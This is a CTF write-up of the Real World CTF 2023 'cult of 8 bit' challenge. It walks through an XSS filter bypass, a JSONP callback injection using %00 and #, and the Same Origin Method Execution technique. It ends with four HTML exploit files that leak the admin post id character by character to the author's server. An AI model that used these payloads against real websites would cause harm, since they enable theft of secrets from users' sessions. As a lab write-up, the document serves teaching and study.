[Real World CTF 2023] The cult of 8 bit
In this writeup, I will show my solution for The cult of 8 bit challenge from Real World CTF 2023. It was a client-side challenge where you must leak the admin post id to get the flag. I solved it in an unintended way by using the Same Origin Method Execution attack with xsleaks.
Description
After downloading the source code, we can see a simple expressjs note-storing service. Besides data storing, it also has a “report” functionality where the admin bot with the saved in a post flag opens our url.
The app has a simple structure:
bot/bot.js
code/
app.js
routes/api.js
src/
db.js
middleware.js
views/
home.ejs
login.ejs
post.ejs
register.ejs
report.ejs
docker-compose.yml
Dockerfile
By default, an account with the “admin” username has a post with a flag. The posts are accessible via /posts/:random_uid
and do not require authentification. Therefore, our goal is to leak the admin post id.
Also, the application has a todo-creating functionality — you can create a simple note that will be shown on your homepage.
The post and todo creating endpoints are disabled for the account with the “admin” username:
router.use((req, res, next) => {
if (req.user.user === "admin") {
return res.redirect("/?msg=Nice try");
}
next();
});
router.post("/create/post" ...)
router.post("/create/todo" ...)
const express = require("express");
const crypto = require("crypto");
const axios = require("axios");
const { createClient } = require("redis");
const db = require("../src/db.js");
const mw = require("../src/middleware.js");
const router = express.Router();
const sha256 = (data) => crypto.createHash("sha256").update(data).digest("hex");
const REDIS_PASSWORD = process.env.REDIS_PASSWORD ? process.env.REDIS_PASSWORD: "redis_password"
const redisClient = createClient({
url: `redis://:${REDIS_PASSWORD}@localhost:6379`,
})
redisClient.connect();
router.get("/post/:id", (req, res) => {
let { id } = req.params;
console.log(`request with ${JSON.stringify(req.originalUrl)}`)
if (!id || typeof id !== "string") {
return res.jsonp({
success: false,
error: "Missing id"
});
}
if (!db.posts.has(id)) {
return res.jsonp({
success: false,
error: "No post found with that id"
});
}
let post = db.posts.get(id);
return res.jsonp({
success: true,
name: post.name,
body: post.body
});
});
router.post("/login", [mw.csrfProtection, mw.requiresNoLogin], (req, res) => {
let { user, pass } = req.body;
if (!user || !pass) {
return res.redirect("/login?msg=Missing user or pass");
}
if (typeof user !== "string" || typeof pass !== "string") {
return res.redirect("/login?msg=Missing user or pass");
}
let dbUser = db.users.get(user);
if (!dbUser || sha256(pass) !== dbUser.pass) {
return res.redirect("/login?msg=Invalid user or pass");
}
req.session.user = user;
res.redirect("/");
});
router.post("/register", [mw.csrfProtection, mw.requiresNoLogin], (req, res) => {
let { user, pass } = req.body;
if (!user || !pass) {
return res.redirect("/register?msg=Missing user or pass");
}
if (typeof user !== "string" || typeof pass !== "string") {
return res.redirect("/register?msg=Missing user or pass");
}
if (user.length < 5 || pass.length < 8) {
return res.redirect("/register?msg=Please choose a more secure user/pass");
}
let dbUser = db.users.get(user);
if (dbUser) {
return res.redirect("/register?msg=A user already exists with that name");
}
db.users.set(user, {
user,
pass: sha256(pass),
posts: [],
todos: []
});
req.session.user = user;
res.redirect("/");
});
router.post("/report", async (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.redirect("/report?msg=Missing URL");
}
if (!url.startsWith("http:") && !url.startsWith("https:")) {
return res.redirect("/report?msg=Invalid URL");
}
if (req.session.lastSubmission && +new Date() - req.session.lastSubmission < 30000) {
return res.redirect("/report?msg=Please wait a bit before submitting a new URL");
}
req.session.lastSubmission = +new Date();
redisClient.lPush('submissions', [url]);
res.redirect("/report?msg=URL submitted successfully");
});
router.get("/logout", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
req.session.destroy();
res.redirect("/");
});
// Don't allow admin to make new posts / todos
router.use((req, res, next) => {
if (req.user.user === "admin") {
return res.redirect("/?msg=Nice try");
}
next();
});
router.post("/create/post", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
let { name, body } = req.body;
if (!name || !body) {
return res.redirect("/?msg=Missing name or body");
}
if (typeof name !== "string" || typeof body !== "string") {
return res.redirect("/?msg=Missing name or body");
}
let id = crypto.randomUUID();
db.posts.set(id, {
name, body
});
req.user.posts.push(id);
res.redirect("/post/?id=" + id);
});
router.post("/create/todo", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
let { text } = req.body;
if (!text) {
return res.redirect("/?msg=Missing text");
}
if (typeof text !== "string") {
return res.redirect("/?msg=Missing text");
}
let isURL = false;
try {
new URL(text); // errors if not valid URL
console.log("first passed")
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
console.log(`usUrl:${isURL}, '${text.toLowerCase()}', '${text.toLowerCase().trim()}'`)
} catch {}
req.user.todos.push({
text, isURL
});
res.redirect("/");
});
module.exports = router;
Exploring the app
There isn’t a lot of code, so I just started to read it to try to find an interesting functionality.
TODOs
The first thing that caught my eye is the /create/todo
endpoint. The function checks whether the note is a valid url:
api.js:
let isURL = false;
try {
new URL(text); // errors if not valid URL
console.log("first passed")
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
console.log(`usUrl:${isURL}, '${text.toLowerCase()}', '${text.toLowerCase().trim()}'`)
} catch {}
req.user.todos.push({
text, isURL
});
And later, uses it on the homepage:
home.ejs
:
<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>
In a few words, when the todo is a URL — insert it within the <a>
tag.
<a target="_blank" href=here>
Sure, it has some protections from xss, like checking for a valid url and for the word javascript:
:
isURL = !text.toLowerCase().trim().startsWith("javascript:");
But I was able to bypass it with %19javascript:alert()
. It still is a valid URL, the trim()
removes only whitespaces, and the browsers usually ignore \x01-\x20
bytes before javascript:
.
Still, it doesn’t help us much because:
- The tag has target="_blank
attribute.
- It’s a self xss, and the bot cannot create its own todos.
- The bot doesn’t click on anything within the bot.js
.
So I decided to move on.
Callbacks
/**/ typeof load_post === 'function' && load_post({"success":true,"name":"X","body":"Y"});
The post.ejs
file renders a post using the id
parameter from the query.
Within the file, I found a callback:
window.onload = function() {
const id = new URLSearchParams(window.location.search).get('id');
if (!id) {
return;
}
// Load post from POST_SERVER
// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}
load_post(JSON.parse(request.responseText));
}
BTW, POST_SERVER
is never used, and everything is on the same host.
From the Intigriti xss challenge, I know about the Same Origin Method Execution attack that exploits callbacks. This attack will be covered later in the SOME attack chapter.
To use the callback, we need to go to the catch
block of the script. From the documentation of the xhr open()
method, we can see possible exceptions that can lead us to the catch
block:
Throws a “SyntaxError” DOMException if either method is not a valid method or url cannot be parsed. Throws a “SecurityError” DOMException if method is a case-insensitive match for
CONNECT
,TRACE
, orTRACK
. Throws an “InvalidAccessError” DOMException if async is false, the current global object is a Window object, and the timeout attribute is not zero or the responseType attribute is not the empty string.
The only thing that we can modify is the url because we control encodeURIComponent(id)
.
I did some fuzzing:
// try several different characters with codes from 0 to 1000
for(i=0; i<1000; i++){
const request = new XMLHttpRequest();
try {
request.open('GET', `/api/post/` + encodeURIComponent(String.fromCharCode(i)), false);
request.send(null);
} catch (err) {
console.log("ERROR :", i, err)
}
}
And discovered that chromium (headless chromium is used in the task) throws an error if %00
is somewhere within the url.
So with something like /post/?id={id}%00
, we can fall into the catch
block. The only thing is — {id}%00
is later added to the script src. Script src does not execute with %00
as well, but I discovered that one can bypass it with a #
character. /api/post/%23%00
will throw an error (it’s %23 because encodeURIComponent is used in the try{}
block), but /api/post/#%00
will not.
The final url with a custom callback will look like this:
http://localhost:12345/post/?id={valid_id}?callback=our_function%23%00
With it, /api/post/${id}?callback=load_post
transforms to /api/post/{valid_id}?callback=our_function#%00?callback=load_post
, and the following callback script is added to the page:
<script src=/api/post/{valid_id}?callback=our_function#%00?callback=load_post></script>
During the request, only /api/post/{valid_id}?callback=our_function
part is sent to the server, so we can execute arbitrary functions within the page.
SOME attack
You can read about it here.
With this attack, it’s possible to execute js methods in the context of different documents within the same origin.
Example: By using this attack https://example.com/vulnerable
can execute js methods on https://example.com/anything
.
Such method execution includes: clicks, form submissions, form input value tampering, JavaScript functions and similar (e.g. element.click(), privateForm.submit(), inputElement.stepUp/stepDown(), element.select(), element.focus(), JsDefinedFunction(), jQueryFunc() and so on.
Example
To help you understand the attack without reading the long article above, I will add a simple example of the attack.
Let’s say we have three pages:
http://victim.com/endpoint?callback=something
/**/something({"data":"data"})
The endpoint with the callback.
http://victim.com/proxy?name=something
<html>
<body>
<script src='/endpoint?callback=something'></script>
</body>
</html>
The page with a script tag pointed to the callback.
http://victim.com/link?url=javascript:alert()
<html>
<body>
<a href="javascript:alert()"></a>
</body>
</html>
The page where we want to use a js method.
Using the SOME attack we can call .click()
on the <a>
tag of the last page without any user interactions! To do so, we need to create two pages:
start.html:
<script>
win1 = open("/click.html")
location.replace("http://victim.com/link?url=javascript:alert()")
</script>
win1.html:
<script>
// wait for start.html to redirect
setTimeout(`location.replace("http://victim.com/proxy?name=opener.document.body.children[0].click")`, 1000)
</script>
First of all, start.html
creates another page — win1.html
. Now, win1.html
can refer to start.html
using the opener
property. If we redirect both pages to another origin we can still access http://victim.com/link
(previous start.html
) via http://victim.com/proxy
(previous win1.html
) using opener
. Now http://victim.com/proxy
can execute a callback script on behalf of http://victim.com/link
using the opener
property and therefore execute an alert without any clicks.
detailed explanation
After the redirection, win1.html
has the location of http://victim.com/proxy?name=opener.document.body.children[0].click
and the following body:
<html>
<body>
<script src='/endpoint?callback=opener.document.body.children[0].click'></script>
</body>
</html>
The <script src=/endpoint?callback=..></script>
tag executes the document.body.children[0].click()
function within the opener
of win1
. The opener
of win1
is http://victim.com/link?url=javascript:alert()
(because start.html
got redirected there), and therefore document.body.children[0].click()
is executed within http://victim.com/link?url=javascript:alert()
. children[0]
body element is our <a href>
tag with a payload.
Solution
Using the abovementioned attack, we can execute js methods on the document with the admin post id.
To save some time, I decided to use IcesFont#1629’s solution of the hitcon 2022 secure paste challenge as a base for my solution. The problems are quite similar. With secure paste’s case, there’s a secret id within the url, not the page itself. You can find his solution on the hitcon discord server.
The solution consists of 4 files.
The first one opens another page and redirects itself to the challenge homepage:
a.html:
<script>
b = open(`/b.html`);
location.replace("http://localhost:12345/");
</script>
The second one creates iframes for every character to detect the onfocus event that can be called via callback:
b.html
<body>
<a id=focusme href=#>sth</a>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
alphabet = "0123456789abcdef-"
//create iframes
for (var i = 0; i < alphabet.length; i++) {
iframe = document.createElement("iframe");
iframe.name = alphabet[i];
iframe.src = "http://localhost:12345/";
document.body.appendChild(iframe);
}
//array for found characters
hovered = []
const main = async () => {
// every 0.075 secs check for iframes' onfucus event
setInterval(() => {
p = document.activeElement.name
if (p) {
// if there's focus on an iframe -- add its character to hovered and change the focus
hovered.push(p);
document.getElementById("focusme").focus();
}
}, 75)
await sleep(2000);
c = open(`/c.html`);
await sleep(2000 + 150);
// every 500 secs send found characters to our server endpoint /ret/:characters
setInterval(() => {
fetch(`/ret/${hovered.join("")}`)
}, 500);
}
main();
</script>
</body>
The third one is just a free document to be replaced with the vulnerable challenge page:
c.html:
<script>
b = open(`/b.html`);
location.replace("http://localhost:12345/");
</script>
The fourth one contains the main logic. This file opens the page with the post id within the previous (c.html
) document. Then that document executes js to leak the homepage’s post id char by char.
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
await sleep(1000);
// 32 is the start of the href url that contains id
// 36 is the len of the id
for (var i = 32; i <= 32+36+1; i++) {
// I'm explainig this payload below
PAYLOAD = `opener[opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].href[${i}]].focus`;
// change c.html page's location to the vulnerable page that executes callback
opener.location.replace(`http://localhost:12345/post/?id=24bc9bc5-844c-4f37-8330-f3dbadd2e3a3?callback=${PAYLOAD}%23%00`);
// check the next character every 1.5 secs so that the page have 1.5 sec to load.
await sleep(1500);
}
}
main();
</script>
I try to explain the huge PAYLOAD
variable here.
Firstly, opener.opener.document.body.children[1]....href[${i}]
traverses through the homepage a.html
(a.html
is opener.opener of c.html
) and finds our <a>
tag. Then it takes the ith symbol from its href
attribute.
Secondly, opener[..].focus
calls focus()
on a character within b.html
(opener of c.html
) via the callback. Because every character has its own iframe with the name=character
attribute (you can access an html tag from js just with its name attribute) b.html
page can detect what character caused the onfocus()
event.
Now we have everything to solve the task. I’ll host these html pages on my server via php.
php -S host:port
If we send our url (https://host/a.html
) to the bot we can see a part of the id in the logs:
To get the next part of the id, we need to increase the start number of the href url and send the link to the bot again.
Using the post id, we can get the flag: